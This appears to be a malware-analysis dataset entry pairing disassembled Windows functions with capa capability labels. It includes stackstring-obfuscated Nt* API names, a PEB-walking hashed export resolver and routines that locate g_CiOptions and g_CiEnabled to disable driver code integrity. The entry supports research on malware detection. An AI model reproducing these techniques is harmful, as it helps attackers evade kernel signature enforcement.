joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000edbe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000edcc
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x53
mov byte [rsp + 0xb], 0x65
mov byte [rsp + 0xc], 0x74
mov byte [rsp + 0xd], 0x49
mov byte [rsp + 0xe], 0x6e
mov byte [rsp + 0xf], 0x66
mov byte [rsp + 0x10], 0x6f
mov byte [rsp + 0x11], 0x72
mov byte [rsp + 0x12], 0x6d
mov byte [rsp + 0x13], 0x61
mov byte [rsp + 0x14], 0x74
mov byte [rsp + 0x15], 0x69
mov byte [rsp + 0x16], 0x6f
mov byte [rsp + 0x17], 0x6e
mov byte [rsp + 0x18], 0x54
mov byte [rsp + 0x19], 0x68
mov byte [rsp + 0x1a], 0x72
mov byte [rsp + 0x1b], 0x65
mov byte [rsp + 0x1c], 0x61
mov byte [rsp + 0x1d], 0x64
mov byte [rsp + 0x1e], 0
mov qword [rsp], 0
jmp 0x14000ee57
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x17
jae 0x14000ee81
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000ee4c
mov rax, qword [rsp + 0x30]
jmp 0x14000ee90
add rsp, 0x28
ret

Function at 0x14000eeec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000eefa
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x46
mov byte [rsp + 0xb], 0x72
mov byte [rsp + 0xc], 0x65
mov byte [rsp + 0xd], 0x65
mov byte [rsp + 0xe], 0x56
mov byte [rsp + 0xf], 0x69
mov byte [rsp + 0x10], 0x72
mov byte [rsp + 0x11], 0x74
mov byte [rsp + 0x12], 0x75
mov byte [rsp + 0x13], 0x61
mov byte [rsp + 0x14], 0x6c
mov byte [rsp + 0x15], 0x4d
mov byte [rsp + 0x16], 0x65
mov byte [rsp + 0x17], 0x6d
mov byte [rsp + 0x18], 0x6f
mov byte [rsp + 0x19], 0x72
mov byte [rsp + 0x1a], 0x79
mov byte [rsp + 0x1b], 0
mov qword [rsp], 0
jmp 0x14000ef76
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x14
jae 0x14000efa0
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000ef6b
mov rax, qword [rsp + 0x30]
jmp 0x14000efaf
add rsp, 0x28
ret
Function at 0x14000efb4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000efc2
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x41
mov byte [rsp + 0xb], 0x6c
mov byte [rsp + 0xc], 0x6c
mov byte [rsp + 0xd], 0x6f
mov byte [rsp + 0xe], 0x63
mov byte [rsp + 0xf], 0x61
mov byte [rsp + 0x10], 0x74
mov byte [rsp + 0x11], 0x65
mov byte [rsp + 0x12], 0x56
mov byte [rsp + 0x13], 0x69
mov byte [rsp + 0x14], 0x72
mov byte [rsp + 0x15], 0x74
mov byte [rsp + 0x16], 0x75
mov byte [rsp + 0x17], 0x61
mov byte [rsp + 0x18], 0x6c
mov byte [rsp + 0x19], 0x4d
mov byte [rsp + 0x1a], 0x65
mov byte [rsp + 0x1b], 0x6d
mov byte [rsp + 0x1c], 0x6f
mov byte [rsp + 0x1d], 0x72
mov byte [rsp + 0x1e], 0x79
mov byte [rsp + 0x1f], 0
mov qword [rsp], 0
jmp 0x14000f052
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x18
jae 0x14000f07c
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000f047
mov rax, qword [rsp + 0x30]
jmp 0x14000f08b
add rsp, 0x28
ret

Function at 0x14000f86c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000f87a
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x55
mov byte [rsp + 0xb], 0x6e
mov byte [rsp + 0xc], 0x6d
mov byte [rsp + 0xd], 0x61
mov byte [rsp + 0xe], 0x70
mov byte [rsp + 0xf], 0x56
mov byte [rsp + 0x10], 0x69
mov byte [rsp + 0x11], 0x65
mov byte [rsp + 0x12], 0x77
mov byte [rsp + 0x13], 0x4f
mov byte [rsp + 0x14], 0x66
mov byte [rsp + 0x15], 0x53
mov byte [rsp + 0x16], 0x65
mov byte [rsp + 0x17], 0x63
mov byte [rsp + 0x18], 0x74
mov byte [rsp + 0x19], 0x69
mov byte [rsp + 0x1a], 0x6f
mov byte [rsp + 0x1b], 0x6e
mov byte [rsp + 0x1c], 0
mov qword [rsp], 0
jmp 0x14000f8fb
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x15
jae 0x14000f925
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000f8f0
mov rax, qword [rsp + 0x30]
jmp 0x14000f934
add rsp, 0x28
ret
Function at 0x14000fdb3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000fdc1
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x4d
mov byte [rsp + 0xb], 0x61
mov byte [rsp + 0xc], 0x70
mov byte [rsp + 0xd], 0x56
mov byte [rsp + 0xe], 0x69
mov byte [rsp + 0xf], 0x65
mov byte [rsp + 0x10], 0x77
mov byte [rsp + 0x11], 0x4f
mov byte [rsp + 0x12], 0x66
mov byte [rsp + 0x13], 0x53
mov byte [rsp + 0x14], 0x65
mov byte [rsp + 0x15], 0x63
mov byte [rsp + 0x16], 0x74
mov byte [rsp + 0x17], 0x69
mov byte [rsp + 0x18], 0x6f
mov byte [rsp + 0x19], 0x6e
mov byte [rsp + 0x1a], 0
mov qword [rsp], 0
jmp 0x14000fe38
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x13
jae 0x14000fe62
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000fe2d
mov rax, qword [rsp + 0x30]
jmp 0x14000fe71
add rsp, 0x28
ret

Function at 0x14000fe76
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000fe84
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x43
mov byte [rsp + 0xb], 0x72
mov byte [rsp + 0xc], 0x65
mov byte [rsp + 0xd], 0x61
mov byte [rsp + 0xe], 0x74
mov byte [rsp + 0xf], 0x65
mov byte [rsp + 0x10], 0x53
mov byte [rsp + 0x11], 0x65
mov byte [rsp + 0x12], 0x63
mov byte [rsp + 0x13], 0x74
mov byte [rsp + 0x14], 0x69
mov byte [rsp + 0x15], 0x6f
mov byte [rsp + 0x16], 0x6e
mov byte [rsp + 0x17], 0
mov qword [rsp], 0
jmp 0x14000feec
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x10
jae 0x14000ff16
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000fee1
mov rax, qword [rsp + 0x30]
jmp 0x14000ff25
add rsp, 0x28
ret

Function at 0x14000ff2a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000ff38
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x4f
mov byte [rsp + 0xb], 0x70
mov byte [rsp + 0xc], 0x65
mov byte [rsp + 0xd], 0x6e
mov byte [rsp + 0xe], 0x46
mov byte [rsp + 0xf], 0x69
mov byte [rsp + 0x10], 0x6c
mov byte [rsp + 0x11], 0x65
mov byte [rsp + 0x12], 0
mov qword [rsp], 0
jmp 0x14000ff87
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xb
jae 0x14000ffb1
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14000ff7c
mov rax, qword [rsp + 0x30]
jmp 0x14000ffc0
add rsp, 0x28
ret
Function at 0x14000ffc5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x14000ffd3
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x50
mov byte [rsp + 0xb], 0x72
mov byte [rsp + 0xc], 0x6f
mov byte [rsp + 0xd], 0x74
mov byte [rsp + 0xe], 0x65
mov byte [rsp + 0xf], 0x63
mov byte [rsp + 0x10], 0x74
mov byte [rsp + 0x11], 0x56
mov byte [rsp + 0x12], 0x69
mov byte [rsp + 0x13], 0x72
mov byte [rsp + 0x14], 0x74
mov byte [rsp + 0x15], 0x75
mov byte [rsp + 0x16], 0x61
mov byte [rsp + 0x17], 0x6c
mov byte [rsp + 0x18], 0x4d
mov byte [rsp + 0x19], 0x65
mov byte [rsp + 0x1a], 0x6d
mov byte [rsp + 0x1b], 0x6f
mov byte [rsp + 0x1c], 0x72
mov byte [rsp + 0x1d], 0x79
mov byte [rsp + 0x1e], 0
mov qword [rsp], 0
jmp 0x14001005e
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x17
jae 0x140010088
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x140010053
mov rax, qword [rsp + 0x30]
jmp 0x140010097
add rsp, 0x28
ret

Function at 0x14001009c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x1400100aa
mov byte [rsp + 8], 0x4e
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x51
mov byte [rsp + 0xb], 0x75
mov byte [rsp + 0xc], 0x65
mov byte [rsp + 0xd], 0x72
mov byte [rsp + 0xe], 0x79
mov byte [rsp + 0xf], 0x56
mov byte [rsp + 0x10], 0x69
mov byte [rsp + 0x11], 0x72
mov byte [rsp + 0x12], 0x74
mov byte [rsp + 0x13], 0x75
mov byte [rsp + 0x14], 0x61
mov byte [rsp + 0x15], 0x6c
mov byte [rsp + 0x16], 0x4d
mov byte [rsp + 0x17], 0x65
mov byte [rsp + 0x18], 0x6d
mov byte [rsp + 0x19], 0x6f
mov byte [rsp + 0x1a], 0x72
mov byte [rsp + 0x1b], 0x79
mov byte [rsp + 0x1c], 0
mov qword [rsp], 0
jmp 0x14001012b
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x15
jae 0x140010155
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x140010120
mov rax, qword [rsp + 0x30]
jmp 0x140010164
add rsp, 0x28
ret
Function at 0x14001310b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x140013119
mov byte [rsp + 8], 0x52
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x6c
mov byte [rsp + 0xb], 0x41
mov byte [rsp + 0xc], 0x64
mov byte [rsp + 0xd], 0x64
mov byte [rsp + 0xe], 0x46
mov byte [rsp + 0xf], 0x75
mov byte [rsp + 0x10], 0x6e
mov byte [rsp + 0x11], 0x63
mov byte [rsp + 0x12], 0x74
mov byte [rsp + 0x13], 0x69
mov byte [rsp + 0x14], 0x6f
mov byte [rsp + 0x15], 0x6e
mov byte [rsp + 0x16], 0x54
mov byte [rsp + 0x17], 0x61
mov byte [rsp + 0x18], 0x62
mov byte [rsp + 0x19], 0x6c
mov byte [rsp + 0x1a], 0x65
mov byte [rsp + 0x1b], 0
mov qword [rsp], 0
jmp 0x140013195
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x14
jae 0x1400131bf
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x14001318a
mov rax, qword [rsp + 0x30]
jmp 0x1400131ce
add rsp, 0x28
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001070
Capabilities:
Map section object

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebp, ebp
lea rdx, [rsp + 0x70]
mov qword [r8], rbp
mov rsi, r9
mov qword [r9], rbp
mov rdi, r8
lea r9, [rsp + 0x80]
mov qword [rsp + 0x60], rbp
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToRelativeNtPathName_U_WithStatus]
mov ebx, eax
test eax, eax
js 0x14000125f
movzx ecx, word [rsp + 0x80]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x50], ebp
lea r9, [rsp + 0xd0]
mov qword [rsp + 0x48], rbp
lea r8, [rsp + 0xa0]
test cx, cx
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 1
mov eax, ebp
mov dword [rsp + 0x28], 0x80
cmovne rax, qword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x80]
cmove rax, rdx
mov dword [rsp + 0xa0], 0x30
mov edx, 0x120089
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x40
movdqu xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov ebx, eax
xor edx, edx
mov rax, qword gs:[0x30]
mov r8, qword [rsp + 0x78]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rsp + 0x80]
call qword [sym.imp.ntdll.dll_RtlReleaseRelativeName]
test ebx, ebx
js 0x14000125f
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x1000000
xor r8d, r8d
mov edx, 0xf0004
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x68], rbp
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov ebx, eax
test eax, eax
jns 0x1400011e5
lea rcx, str.NtCreateSection:_0x_08X_n
jmp 0x14000123b
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov dword [rsp + 0x48], 2
mov r8, rdi
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rsi
lea rdx, [r9 - 1]
mov qword [rdi], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsi], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
cmp eax, 0x40000003
jne 0x140001230
mov ebx, ebp
jmp 0x140001242
test eax, eax
jns 0x140001242
lea rcx, str.NtMapViewOfSection:_0x_08X_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000126d
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x14000126d
mov edx, ebx
lea rcx, str.NtCreateFile:_0x_08X_n
call fcn.140001010
mov eax, ebx
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140002610
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001410
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400015bf
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x140001591
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140001589
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400014f0
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000157f
inc ebx
cmp ebx, dword [rdi]
jb 0x1400014d2
jmp 0x140001589
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.140002610
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x1400015e0
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.1400012a0
mov rcx, rsi
mov rdi, rax
call fcn.1400012a0
mov r9, rax
test rax, rax
je 0x14000170d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x1400016a2
lea r11, [0x140004a78]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140001662
test dl, dl
jne 0x14000169e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x140001655
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140001650
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140001690
jmp 0x1400016fc
xor cl, cl
jmp 0x14000166e
lea r11, [0x140004a68]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x1400016c2
test dl, dl
jne 0x140001714
inc ecx
inc rax
cmp ecx, 0xc
jb 0x1400016b5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x1400016b0
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x1400016f0
test r10d, r10d
jne 0x140001718
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140001010
xor eax, eax
jmp 0x1400017fa
xor cl, cl
jmp 0x1400016ce
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140001010
lea r11, [0x140004a58]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x140001772
test dl, dl
jne 0x1400017c1
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140001765
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x140001760
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x1400017a0
test eax, eax
jne 0x1400017c5
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140001010
xor eax, eax
jmp 0x1400017fa
xor cl, cl
jmp 0x14000177e
lea rax, [r10 + rdx]
movsxd r8, dword [rax + rdi]
lea rbx, [r10 + 4]
add rbx, r8
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdx
mov edx, r10d
add rbx, rdi
mov r9, rbx
call fcn.140001010
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001820
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1400044f8]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1400044f0]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x1400044fc]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140004504]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140004506]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.1400013b0
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001070
mov ebx, eax
test eax, eax
jns 0x140001919
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140001010
jmp 0x140001a50
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x140001982
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140001410
mov ebx, eax
test eax, eax
jns 0x140001957
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140001010
jmp 0x140001a3e
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.1400015e0
test eax, eax
je 0x140001a39
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x140001a3e
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140001410
mov ebx, eax
test eax, eax
js 0x140001a3e
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x140001a2d
mov rbx, qword [rsp + 0x40]
lea rsi, [0x140004a8c]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x1400019dd
test cl, cl
jne 0x140001a29
inc edx
inc rax
cmp edx, 4
jb 0x1400019d0
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x1400019c0
test rax, rax
je 0x140001a2d
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140001010
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x140001a3e
xor cl, cl
jmp 0x1400019e9
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140001010
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140002610
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140001b20
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rdx
mov rbx, rcx
call fcn.140001a80
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001c07
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
